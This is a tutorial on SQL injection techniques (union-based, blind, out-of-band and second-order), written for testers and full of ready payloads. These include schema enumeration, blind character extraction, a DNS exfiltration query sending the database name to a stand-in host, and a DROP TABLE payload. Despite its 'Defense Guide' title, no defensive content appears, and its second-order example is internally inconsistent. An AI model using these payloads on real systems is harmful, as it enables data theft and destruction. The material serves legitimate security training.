SQL Injection (SQLi): Types, Examples, and Complete Defense Guide

Classic/Union-based SQLi

If the results (errors/data) are returned directly, then tester can try UNION to append his query with existing query.
After that you have to follow following steps according to your needs.

1. Find the number of columns :
   • By appending ORDER BY example :

     ' ORDER BY 1 -- -
     ' ORDER BY 2 -- -
     ' ORDER BY 3 -- -
     Increase the numbers until you get valid response. Valid response == correct number of columns

   • By appending NULL example:

     ' UNION SELECT NULL -- -
     ' UNION SELECT NULL,NULL -- -
     ' UNION SELECT NULL,NULL,NULL -- -
     Increase the NULL count until valid response.

   ---

2. Matching data type :

   So, we are adding 2 queries using UNION and we know that how many columns are there. But to retrieve something in a column you have to put the matching data type which is in first(existing) query. example :

   Original query SELECT id, name FROM students WHERE id = '1';

   Malicious query' UNION SELECT 1, 'admin_user'-- -

   Malicious query' UNION SELECT NULL, 'admin_user'-- -

   Malicious query' UNION SELECT 1, 444-- -

   ---

3. Retrieving Data :

   As of now, we know that how many columns are there and which columns supports what kind of data type. To examine the database or exfiltration, we have to make the malicious query such that we can get some desired info into columns. example :

   • For tables :

     Malicious query 1 ' UNION SELECT table_name FROM information_schema.tables;(if single column is there)

     Malicious query 2 ' UNION SELECT table_name,NULL FROM information_schema.tables;(if 2 columns are there)

   • For column names :

     Malicious query ' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'Students';

   • For data :

     Malicious query ' UNION SELECT name, roll_num FROM Students;

   • String concatenation

     If there is a single column in original query then you can use string concatenation to add multiple data into a single string. It uses database specific functions to concatenate multiple data into a string. example :

     MySQL CONCAT(username, ':', password)

Blind SQL injection

After putting the breaking (' -- -) characters, If there is no data in result but response has different status-code/length/content then blind sqli is there. Generally 3 kinds of blind sqli are there -

1. Boolean-Based Blind sql injection :

   Try using boolean queries that returns true/false.

   Malicious query 1 ?id=1' AND '1'='1--

   Malicious query 2 ?id=1' AND '1'='2--

   If result is not same for both then you can exploit it, generally a brute forcing technique is used. Where we make a query who extract some data (db/table/column names etc.) from database and check each character one by one with your given list. If it matches then it will give a valid response. Example -

   Original query SELECT * FROM students WHERE id = '1';

   After adding 1' OR '1'='1 -- it becomes

   Malicious query SELECT * FROM students WHERE id = '1' OR '1'='1';

   Malicious query SELECT * FROM students WHERE id = '1' AND '1'='2'; It doesn't give exact same response (different status_code/content/length).

   By using above technique lets guess the database

   Malicious query1' AND SUBSTRING(database(),1,1)='o' -- It checks that first letter of result of database() is 'o' if it is then it will return the valid response.

   By using above technique you can create a script that do this task for you. If you try to do it manually then it takes a lot of time.
   keep in mind that functions (SUBSTRING() etc..) are database specific and you have to find one for your database.

   ---

2. Time-based Blind sql injection :

   Try to use a query that takes some time to give the response. Ex. 1' AND IF(1=1, SLEEP(5), 0) -- -. Then examine the delay in response time to get the values, use the same above brute forcing technique to guess the values. Example -

   Malicious Query 1' AND IF(SUBSTRING(database(),1,1)='u', SLEEP(5), 0) -- - Create a script that changes the positions, character and check the response delays.

   ---

3. Out-of-Band (OOB) Blind sql injection :

   In this sql injection method, a malicious query is used to make a request from server(owned by you/tester) and he concatenate sime information of database into that request. And after that uses the logs of the server (owned by you) for data exfiltration. In this method user doesn't get any kind of changes in result. example -

   MySQL 1' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.tester.com\\abc')) -- -. This query tells the database to load a file from tester.com and appended the name of the current database as subdomain. Tester can see the database name into his dns logs.

   Different kind of functions are there in different type of database that can be used for making different kind of requests. example : DNS/HTTP/HTTPS etc..

Second-Order SQL Injection

Unlike other sql injections where malicious query is executed directly, in second-order sqli malicious payload get stored somewhere and executed later by another sql query. example -
User Registration : following query by backend is used to save the username into database when user register.

Registration INSERT INTO profiles (name) VALUES ('John'); Insert username John

Tester added following into username input '); DROP TABLE students;--, after that when admin try to get the user then the query admin will make would be following

Malicious query SELECT * FROM students WHERE course = 'Robert'); DROP TABLE students;--';